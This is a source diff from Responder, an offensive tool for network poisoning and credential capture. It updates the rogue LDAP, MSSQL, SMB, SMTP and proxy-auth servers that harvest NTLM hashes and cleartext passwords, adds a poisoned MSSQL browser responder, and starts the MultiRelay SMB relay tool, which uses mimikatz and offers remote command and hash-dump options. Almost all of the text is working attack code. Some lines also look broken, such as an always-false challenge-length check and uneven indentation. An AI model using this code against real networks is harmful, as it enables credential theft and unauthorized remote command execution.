+                PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
+                PassStr = data[12+UserLen+2:12+UserLen+3+PassLen]
+                if settings.Config.Verbose:
+			print text('[LDAP] Attempting to parse an old simple Bind request.')
+		SaveToDb({
+			'module': 'LDAP',
+			'type': 'Cleartext',
+			'client': client,
+			'user': UserString,
+			'cleartext': PassStr,
+			'fullhash': UserString+':'+PassStr,
+			})
+
 class LDAP(BaseRequestHandler):
 	def handle(self):
 		try:
-			while True:
-				self.request.settimeout(0.5)
-				data = self.request.recv(8092)
-				Buffer = ParseLDAPPacket(data,self.client_address[0])
-
+			self.request.settimeout(0.4)
+			data = self.request.recv(8092)
+                        Challenge = RandomChallenge()
+                        for x in range(5):
+				Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge)
 				if Buffer:
 					self.request.send(Buffer)
-		except socket.timeout:
-			pass
+				data = self.request.recv(8092)
+		except:
+                        pass
+

servers/MSSQL.py

@@ -17,6 +17,7 @@
 from SocketServer import BaseRequestHandler
 from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
 from utils import *
+import random
 import struct
 
 class TDS_Login_Packet:
@@ -52,7 +53,7 @@ class TDS_Login_Packet:
 		self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
 
 
-def ParseSQLHash(data, client):
+def ParseSQLHash(data, client, Challenge):
 	SSPIStart     = data[8:]
 
 	LMhashLen     = struct.unpack('<H',data[20:22])[0]
@@ -72,7 +73,7 @@ def ParseSQLHash(data, client):
 	User          = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
 
 	if NthashLen == 24:
-		WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, settings.Config.NumChal)
+		WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, Challenge.encode('hex'))
 
 		SaveToDb({
 			'module': 'MSSQL', 
@@ -84,7 +85,7 @@ def ParseSQLHash(data, client):
 		})
 
 	if NthashLen > 60:
-		WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
+		WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:])
 		
 		SaveToDb({
 			'module': 'MSSQL', 
@@ -119,33 +120,59 @@ def ParseClearTextSQLPass(data, client):
 # MSSQL Server class
 class MSSQL(BaseRequestHandler):
 	def handle(self):
-		if settings.Config.Verbose:
-			print text("[MSSQL] Received connection from %s" % self.client_address[0])
 	
 		try:
-			while True:
+			data = self.request.recv(1024)
+			if settings.Config.Verbose:
+				print text("[MSSQL] Received connection from %s" % self.client_address[0])
+
+			if data[0] == "\x12":  # Pre-Login Message
+				Buffer = str(MSSQLPreLoginAnswer())
+				self.request.send(Buffer)
 				data = self.request.recv(1024)
-				self.request.settimeout(0.1)
 
-
-				if data[0] == "\x12":  # Pre-Login Message
-					Buffer = str(MSSQLPreLoginAnswer())
+			if data[0] == "\x10":  # NegoSSP
+				if re.search("NTLMSSP",data):
+                                        Challenge = RandomChallenge()
+					Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
+					Packet.calculate()
+					Buffer = str(Packet)
 					self.request.send(Buffer)
 					data = self.request.recv(1024)
+				else:
+					ParseClearTextSQLPass(data,self.client_address[0])
 
-				if data[0] == "\x10":  # NegoSSP
-					if re.search("NTLMSSP",data):
-						Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge)
-						Packet.calculate()
-						Buffer = str(Packet)
-						self.request.send(Buffer)
-						data = self.request.recv(1024)
-					else:
-						ParseClearTextSQLPass(data,self.client_address[0])
-
-				if data[0] == "\x11":  # NegoSSP Auth
-					ParseSQLHash(data,self.client_address[0])
+			if data[0] == "\x11":  # NegoSSP Auth
+				ParseSQLHash(data,self.client_address[0],Challenge)
 
 		except:
-			self.request.close()
                         pass
+
+# MSSQL Server Browser class
+# See "[MC-SQLR]: SQL Server Resolution Protocol": https://msdn.microsoft.com/en-us/library/cc219703.aspx
+class MSSQLBrowser(BaseRequestHandler):
+	def handle(self):
+		if settings.Config.Verbose:
+			print text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0])
+
+		data, soc = self.request
+
+		if data:
+			if data[0] in "\x02\x03": # CLNT_BCAST_EX / CLNT_UCAST_EX
+				self.send_response(soc, "MSSQLSERVER")
+			elif data[0] == "\x04": # CLNT_UCAST_INST
+				self.send_response(soc, data[1:].rstrip("\x00"))
+			elif data[0] == "\x0F": # CLNT_UCAST_DAC
+				self.send_dac_response(soc)
+
+	def send_response(self, soc, inst):
+		print text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0])
+
+		server_name = ''.join(chr(random.randint(ord('A'), ord('Z'))) for _ in range(random.randint(12, 20)))
+		resp = "ServerName;%s;InstanceName;%s;IsClustered;No;Version;12.00.4100.00;tcp;1433;;" % (server_name, inst)
+		soc.sendto(struct.pack("<BH", 0x05, len(resp)) + resp, self.client_address)
+
+	def send_dac_response(self, soc):
+		print text("[MSSQL-BROWSER] Sending poisoned DAC response to %s" % self.client_address[0])
+
+		soc.sendto(struct.pack("<BHBH", 0x05, 0x06, 0x01, 1433), self.client_address)

servers/Proxy_Auth.py

@@ -47,7 +47,7 @@ def GrabHost(data):
 		return Host
 	return False
 
-def PacketSequence(data, client):
+def PacketSequence(data, client, Challenge):
 	NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
 	Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)	
 	if NTLM_Auth:
@@ -56,14 +56,14 @@ def PacketSequence(data, client):
 			if settings.Config.Verbose:
 				print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)
 
-			Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
+			Buffer = NTLM_Challenge(ServerChallenge=Challenge)
 			Buffer.calculate()
 			Buffer_Ans = WPAD_NTLM_Challenge_Ans()
 			Buffer_Ans.calculate(str(Buffer))
 			return str(Buffer_Ans)
 		if Packet_NTLM == "\x03":
 			NTLM_Auth = b64decode(''.join(NTLM_Auth))
-       	                ParseHTTPHash(NTLM_Auth, client, "Proxy-Auth")
+       	                ParseHTTPHash(NTLM_Auth, Challenge, client, "Proxy-Auth")
                         GrabUserAgent(data)
                         GrabCookie(data)
                         GrabHost(data)
@@ -101,9 +101,10 @@ class Proxy_Auth(SocketServer.BaseRequestHandler):
 
     def handle(self):
 		try:
+                    Challenge = RandomChallenge()
                     for x in range(2):
                         data = self.request.recv(4096)
-                        self.request.send(PacketSequence(data, self.client_address[0]))
+                        self.request.send(PacketSequence(data, self.client_address[0], Challenge))
 
 		except:
                    	pass

servers/SMB.py

@@ -88,34 +88,24 @@ def GrabSessionID(data):
     SessionID = data[44:52]
     return SessionID
 
-def ParseSMBHash(data,client):  #Parse SMB NTLMSSP v1/v2
-	SecBlobLen = struct.unpack('<H',data[51:53])[0]
-	BccLen     = struct.unpack('<H',data[61:63])[0]
-
-	if SecBlobLen < 260:
-		SSPIStart    = data[75:]
-		LMhashLen    = struct.unpack('<H',data[89:91])[0]
-		LMhashOffset = struct.unpack('<H',data[91:93])[0]
-		LMHash       = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
-		NthashLen    = struct.unpack('<H',data[97:99])[0]
-		NthashOffset = struct.unpack('<H',data[99:101])[0]
-	else:
-		SSPIStart    = data[79:]
-		LMhashLen    = struct.unpack('<H',data[93:95])[0]
-		LMhashOffset = struct.unpack('<H',data[95:97])[0]
-		LMHash       = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
-		NthashLen    = struct.unpack('<H',data[101:103])[0]
-		NthashOffset = struct.unpack('<H',data[103:105])[0]
+def ParseSMBHash(data,client, Challenge):  #Parse SMB NTLMSSP v1/v2
+        SSPIStart  = data.find('NTLMSSP')
+        SSPIString = data[SSPIStart:]
+	LMhashLen    = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
+	LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
+	LMHash       = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
+	NthashLen    = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
+	NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
 
 	if NthashLen == 24:
-		SMBHash      = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
-		DomainLen    = struct.unpack('<H',data[105:107])[0]
-		DomainOffset = struct.unpack('<H',data[107:109])[0]
-		Domain       = SSPIStart[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
-		UserLen      = struct.unpack('<H',data[113:115])[0]
-		UserOffset   = struct.unpack('<H',data[115:117])[0]
-		Username     = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
-		WriteHash    = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)
+		SMBHash      = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
+		DomainLen    = struct.unpack('<H',SSPIString[30:32])[0]
+		DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
+		Domain       = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
+		UserLen      = struct.unpack('<H',SSPIString[38:40])[0]
+		UserOffset   = struct.unpack('<H',SSPIString[40:42])[0]
+		Username     = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
+		WriteHash    = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex'))
 
 		SaveToDb({
 			'module': 'SMB', 
@@ -127,14 +117,14 @@ def ParseSMBHash(data,client):  #Parse SMB NTLMSSP v1/v2
 		})
 
 	if NthashLen > 60:
-		SMBHash      = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
-		DomainLen    = struct.unpack('<H',data[109:111])[0]
-		DomainOffset = struct.unpack('<H',data[111:113])[0]
-		Domain       = SSPIStart[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
-		UserLen      = struct.unpack('<H',data[117:119])[0]
-		UserOffset   = struct.unpack('<H',data[119:121])[0]
-		Username     = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
-		WriteHash    = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
+		SMBHash      = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
+		DomainLen    = struct.unpack('<H',SSPIString[30:32])[0]
+		DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
+		Domain       = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
+		UserLen      = struct.unpack('<H',SSPIString[38:40])[0]
+		UserOffset   = struct.unpack('<H',SSPIString[40:42])[0]
+		Username     = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
+		WriteHash    = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
 
 		SaveToDb({
 			'module': 'SMB', 
@@ -146,7 +136,7 @@ def ParseSMBHash(data,client):  #Parse SMB NTLMSSP v1/v2
 		})
 
 
-def ParseSMB2NTLMv2Hash(data,client):  #Parse SMB NTLMv2
+def ParseSMB2NTLMv2Hash(data,client, Challenge):  #Parse SMB NTLMv2
     SSPIStart = data[113:]
     data = data[113:]
     LMhashLen = struct.unpack('<H',data[12:14])[0]
@@ -161,7 +151,7 @@ def ParseSMB2NTLMv2Hash(data,client):  #Parse SMB NTLMv2
     UserLen      = struct.unpack('<H',data[38:40])[0]
     UserOffset   = struct.unpack('<H',data[40:42])[0]
     Username     = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
-    WriteHash    = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
+    WriteHash    = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
     SaveToDb({
                 'module': 'SMBv2', 
 		'type': 'NTLMv2-SSP', 
@@ -171,7 +161,7 @@ def ParseSMB2NTLMv2Hash(data,client):  #Parse SMB NTLMv2
 		'fullhash': WriteHash,
              })
 
-def ParseLMNTHash(data, client):  # Parse SMB NTLMv1/v2
+def ParseLMNTHash(data, client, Challenge):  # Parse SMB NTLMv1/v2
 	LMhashLen = struct.unpack('<H',data[51:53])[0]
 	NthashLen = struct.unpack('<H',data[53:55])[0]
 	Bcc = struct.unpack('<H',data[63:65])[0]
@@ -181,7 +171,7 @@ def ParseLMNTHash(data, client):  # Parse SMB NTLMv1/v2
 		FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex')
 		LmHash = FullHash[:32].upper()
 		NtHash = FullHash[32:].upper()
-		WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash)
+		WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), LmHash, NtHash)
 	
 		SaveToDb({
 			'module': 'SMB', 
@@ -195,7 +185,7 @@ def ParseLMNTHash(data, client):  # Parse SMB NTLMv1/v2
 	if NthashLen == 24:
 		NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
 		LmHash = data[65:65+LMhashLen].encode('hex').upper()
-		WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal)
+		WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, Challenge.encode('hex'))
 
 		SaveToDb({
 			'module': 'SMB', 
@@ -231,6 +221,7 @@ class SMB1(BaseRequestHandler):  # SMB1 & SMB2 Server class, NTLMSSP
 			while True:
 				data = self.request.recv(1024)
 				self.request.settimeout(1)
+                                Challenge = RandomChallenge()
 
 				if not data:
 					break
@@ -243,7 +234,6 @@ class SMB1(BaseRequestHandler):  # SMB1 & SMB2 Server class, NTLMSSP
 					except:
 						pass
 
-
                                 ##Negotiate proto answer SMBv2.
 				if data[8:10] == "\x72\x00" and re.search("SMB 2.\?\?\?", data):
               				head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
@@ -265,7 +255,7 @@ class SMB1(BaseRequestHandler):  # SMB1 & SMB2 Server class, NTLMSSP
                                 ## Session Setup 2 answer SMBv2.
 				if data[16:18] == "\x01\x00" and data[4:5] == "\xfe":
               				head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID=GrabSessionID(data),NTStatus="\x16\x00\x00\xc0")
-              				t = SMB2Session1Data()
+              				t = SMB2Session1Data(NTLMSSPNtServerChallenge=Challenge)
               				t.calculate()
               				packet1 = str(head)+str(t)
        				        buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1  
@@ -273,7 +263,7 @@ class SMB1(BaseRequestHandler):  # SMB1 & SMB2 Server class, NTLMSSP
               				data = self.request.recv(1024)
                                 ## Session Setup 3 answer SMBv2.
 				if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe":
-              				ParseSMB2NTLMv2Hash(data, self.client_address[0])
+              				ParseSMB2NTLMv2Hash(data, self.client_address[0], Challenge)
               				head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data))
               				t = SMB2Session2Data()
               				packet1 = str(head)+str(t)
@@ -299,9 +289,9 @@ class SMB1(BaseRequestHandler):  # SMB1 & SMB2 Server class, NTLMSSP
 					# STATUS_MORE_PROCESSING_REQUIRED
 					Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
 					if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
-						Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
+						Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
 					else:
-						Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
+						Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge)
 					Body.calculate()
 		
 					Packet = str(Header)+str(Body)
@@ -323,7 +313,7 @@ class SMB1(BaseRequestHandler):  # SMB1 & SMB2 Server class, NTLMSSP
 
 						else:
 							# Parse NTLMSSP_AUTH packet
-							ParseSMBHash(data,self.client_address[0])
+							ParseSMBHash(data,self.client_address[0], Challenge)
 
 							if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
 								# Send ACCOUNT_DISABLED to get multiple hashes if there are any
@@ -402,7 +392,7 @@ class SMB1(BaseRequestHandler):  # SMB1 & SMB2 Server class, NTLMSSP
 					self.request.send(Buffer)
 					data = self.request.recv(1024)
 
-		except socket.error:
+		except:
 			pass
 
 
@@ -411,7 +401,7 @@ class SMB1LM(BaseRequestHandler):  # SMB Server class, old version
 		try:
 			self.request.settimeout(0.5)
 			data = self.request.recv(1024)
-
+                        Challenge = RandomChallenge()
 			if data[0] == "\x81":  #session request 139
 				Buffer = "\x82\x00\x00\x00"
 				self.request.send(Buffer)
@@ -419,7 +409,7 @@ class SMB1LM(BaseRequestHandler):  # SMB Server class, old version
 
 			if data[8:10] == "\x72\x00":  #Negotiate proto answer.
 				head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
-				Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
+				Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge)
 				Body.calculate()
 				Packet = str(head)+str(Body)
 				Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
@@ -433,7 +423,7 @@ class SMB1LM(BaseRequestHandler):  # SMB Server class, old version
 					Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
 					self.request.send(Buffer)
 				else:
-					ParseLMNTHash(data,self.client_address[0])
+					ParseLMNTHash(data,self.client_address[0], Challenge)
 					head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
 					Packet = str(head) + str(SMBSessEmpty())
 					Buffer = struct.pack(">i", len(''.join(Packet))) + Packet

servers/SMTP.py

@@ -26,28 +26,16 @@ class ESMTP(BaseRequestHandler):
 			self.request.send(str(SMTPGreeting()))
 			data = self.request.recv(1024)
 
-			if data[0:4] == "EHLO":
+			if data[0:4] == "EHLO" or data[0:4] == "ehlo":
 				self.request.send(str(SMTPAUTH()))
 				data = self.request.recv(1024)
 
 			if data[0:4] == "AUTH":
-				self.request.send(str(SMTPAUTH1()))
-				data = self.request.recv(1024)
-				
-				if data:
-					try:
-						User = filter(None, b64decode(data).split('\x00'))
-						Username = User[0]
-						Password = User[1]
-					except:
-						Username = b64decode(data)
-
-						self.request.send(str(SMTPAUTH2()))
-						data = self.request.recv(1024)
-
-						if data:
-							try: Password = b64decode(data)
-							except: Password = data
+				AuthPlain = re.findall(r'(?<=AUTH PLAIN )[^\r]*', data)
+				if AuthPlain:
+					User = filter(None, b64decode(AuthPlain[0]).split('\x00'))
+					Username = User[0]
+					Password = User[1]
 
 					SaveToDb({
 						'module': 'SMTP', 
@@ -56,7 +44,36 @@ class ESMTP(BaseRequestHandler):
 						'user': Username, 
 						'cleartext': Password, 
 						'fullhash': Username+":"+Password,
-					})
+						})
+
+                                else:
+					self.request.send(str(SMTPAUTH1()))
+					data = self.request.recv(1024)
+				
+					if data:
+						try:
+							User = filter(None, b64decode(data).split('\x00'))
+							Username = User[0]
+							Password = User[1]
+						except:
+							Username = b64decode(data)
+
+							self.request.send(str(SMTPAUTH2()))
+							data = self.request.recv(1024)
+
+							if data:
+								try: Password = b64decode(data)
+								except: Password = data
+
+						SaveToDb({
+							'module': 'SMTP', 
+							'type': 'Cleartext', 
+							'client': self.client_address[0], 
+							'user': Username, 
+							'cleartext': Password, 
+							'fullhash': Username+":"+Password,
+						})
 
 		except Exception:
+                        raise
 			pass

settings.py

@@ -20,7 +20,7 @@ import subprocess
 
 from utils import *
 
-__version__ = 'Responder 2.3.2.7'
+__version__ = 'Responder 2.3.3.6'
 
 class Settings:
 	
@@ -69,6 +69,10 @@ class Settings:
 			print utils.color("Error: -I <if> mandatory option is missing", 1)
 			sys.exit(-1)
 
+		if options.Interface == "ALL" and options.OURIP == None:
+			print utils.color("Error: -i is missing.\nWhen using -I ALL you need to provide your current ip address", 1)
+			sys.exit(-1)
+
 		# Config parsing
 		config = ConfigParser.ConfigParser()
 		config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
@@ -175,20 +179,35 @@ class Settings:
 		if self.HtmlToInject is None:
 			self.HtmlToInject = ''
 
-                self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
-		self.IP_aton         = socket.inet_aton(self.Bind_To)
+                self.Bind_To         = utils.FindLocalIP(self.Interface, self.OURIP)
+
+                if self.Interface == "ALL":
+                	self.Bind_To_ALL  = True
+                else:
+                        self.Bind_To_ALL  = False
+
+                if self.Interface == "ALL":
+                	self.IP_aton   = socket.inet_aton(self.OURIP)
+                else:
+                	self.IP_aton   = socket.inet_aton(self.Bind_To)
+
 		self.Os_version      = sys.platform
 
 		# Set up Challenge
 		self.NumChal = config.get('Responder Core', 'Challenge')
+                if self.NumChal.lower() == 'random':
+                   self.NumChal = "random"
 
-		if len(self.NumChal) is not 16:
+		if len(self.NumChal) is not 16 and not "random":
 			print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1)
 			sys.exit(-1)
 
 		self.Challenge = ""
-		for i in range(0, len(self.NumChal),2):
-			self.Challenge += self.NumChal[i:i+2].decode("hex")
+                if self.NumChal.lower() == 'random':
+                   pass
+                else: 
+		   for i in range(0, len(self.NumChal),2):
+	               self.Challenge += self.NumChal[i:i+2].decode("hex")
 
 		# Set up logging
 		logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
@@ -208,12 +227,35 @@ class Settings:
 		self.AnalyzeLogger = logging.getLogger('Analyze Log')
 		self.AnalyzeLogger.addHandler(ALog_Handler)
                 
-                NetworkCard = subprocess.check_output(["ifconfig", "-a"])
-                DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
-                RoutingInfo = subprocess.check_output(["netstat", "-rn"])
-                Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
-                utils.DumpConfig(self.ResponderConfigDump, Message)
-                utils.DumpConfig(self.ResponderConfigDump,str(self))
+		try:
+			NetworkCard = subprocess.check_output(["ifconfig", "-a"])
+		except:
+			try:
+				NetworkCard = subprocess.check_output(["ip", "address", "show"])
+			except subprocess.CalledProcessError as ex:
+				NetworkCard = "Error fetching Network Interfaces:", ex
+				pass
+		try:
+			DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
+		except subprocess.CalledProcessError as ex:
+			DNS = "Error fetching DNS configuration:", ex
+			pass
+		try:
+			RoutingInfo = subprocess.check_output(["netstat", "-rn"])
+		except:
+			try:
+				RoutingInfo = subprocess.check_output(["ip", "route", "show"])
+			except subprocess.CalledProcessError as ex:
+				RoutingInfo = "Error fetching Routing information:", ex
+				pass
+
+		Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
+		try:
+			utils.DumpConfig(self.ResponderConfigDump, Message)
+			utils.DumpConfig(self.ResponderConfigDump,str(self))
+		except AttributeError as ex:
+			print "Missing Module:", ex
+			pass
 
 def init():
 	global Config

tools/DHCP.py

@@ -74,7 +74,7 @@ config.read(os.path.join(BASEDIR,'Responder.conf'))
 RespondTo           = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])
 DontRespondTo       = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])
 Interface           = options.Interface
-Responder_IP        = FindLocalIP(Interface)
+Responder_IP        = FindLocalIP(Interface, None)
 ROUTERIP            = options.RouterIP
 NETMASK             = options.Netmask
 DHCPSERVER          = Responder_IP

tools/FindSMB2UPTime.py

@@ -21,7 +21,7 @@ import struct
 import socket
 
 sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..')))
-from packets import SMB2Header, SMB2Nego, SMB2NegoData
+from packets import SMBHeaderReq, SMB2NegoReq, SMB2NegoDataReq
 
 def GetBootTime(data):
     Filetime = int(struct.unpack('<q',data)[0])
@@ -33,8 +33,12 @@ def GetBootTime(data):
 def IsDCVuln(t):
     Date = datetime.datetime(2014, 11, 17, 0, 30)
     if t[0] < Date:
-       print "DC is up since:", t[1]
-       print "This DC is vulnerable to MS14-068"
+       print "System is up since:", t[1]
+       print "This system may be vulnerable to MS14-068"
+    Date = datetime.datetime(2017, 03, 14, 0, 30)
+    if t[0] < Date:
+       print "System is up since:", t[1]
+       print "This system may be vulnerable to MS17-010"
     print "DC is up since:", t[1]
 
 
@@ -43,8 +47,8 @@ def run(host):
     s.connect(host)  
     s.settimeout(5) 
 
-    Header = SMB2Header(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
-    Nego = SMB2Nego(Data = SMB2NegoData())
+    Header = SMBHeaderReq(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
+    Nego = SMB2NegoReq(Data = SMB2NegoDataReq())
     Nego.calculate()
 
     Packet = str(Header)+str(Nego)
@@ -63,6 +67,6 @@ def run(host):
 
 if __name__ == "__main__":
     if len(sys.argv)<=1:
-        sys.exit('Usage: python '+sys.argv[0]+' DC-IP-address')
+        sys.exit('Usage: python '+sys.argv[0]+' System-IP-address')
     host = sys.argv[1],445
     run(host)

tools/MultiRelay.py

@@ -0,0 +1,818 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import sys
+import re
+import os
+import logging
+import optparse
+import time
+import random
+import subprocess
+from threading import Thread
+from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
+try:
+    from Crypto.Hash import MD5
+except ImportError:
+    print "\033[1;31m\nCrypto lib is not installed. You won't be able to live dump the hashes."
+    print "You can install it on debian based os with this command: apt-get install python-crypto"
+    print "The Sam file will be saved anyway and you will have the bootkey.\033[0m\n"
+try:
+    import readline
+except:
+    print "Warning: readline module is not available, you will not be able to use the arrow keys for command history" 
+    pass
+from MultiRelay.RelayMultiPackets import *
+from MultiRelay.RelayMultiCore import *
+
+from SMBFinger.Finger import RunFinger,ShowSigning,RunPivotScan
+sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../')))
+from socket import *
+
+__version__ = "2.0"
+
+
+MimikatzFilename    = "./MultiRelay/bin/mimikatz.exe"
+Mimikatzx86Filename = "./MultiRelay/bin/mimikatz_x86.exe"
+RunAsFileName       = "./MultiRelay/bin/Runas.exe"
+SysSVCFileName      = "./MultiRelay/bin/Syssvc.exe"
+
+
+def UserCallBack(op, value, dmy, parser):
+    args=[]
+    for arg in parser.rargs:
+        if arg[0] != "-":
+            args.append(arg)
+        if arg[0] == "-":
+            break
+    if getattr(parser.values, op.dest):
+        args.extend(getattr(parser.values, op.dest))
+    setattr(parser.values, op.dest, args)
+
+parser = optparse.OptionParser(usage="\npython %prog -t 10.20.30.40 -u Administrator lgandx admin\npython %prog -t 10.20.30.40 -u ALL", version=__version__, prog=sys.argv[0])
+parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
+parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
+parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay")
+parser.add_option('-c', '--command', action="store", help="Single command to run (scripting)", metavar="whoami",dest="OneCommand")
+parser.add_option('-d', '--dump', action="store_true", help="Dump hashes (scripting)", metavar="whoami",dest="Dump")
+
+options, args = parser.parse_args()
+
+if options.TARGET is None:
+    print "\n-t Mandatory option is missing, please provide a target.\n"
+    parser.print_help()
+    exit(-1)
+if options.UserToRelay is None:
+    print "\n-u Mandatory option is missing, please provide a username to relay.\n"
+    parser.print_help()
+    exit(-1)
+if options.ExtraPort is None:
+    options.ExtraPort = 0
+
+if not os.geteuid() == 0:
+    print color("[!] MultiRelay must be run as root.")
+    sys.exit(-1)
+
+OneCommand       = options.OneCommand
+Dump             = options.Dump
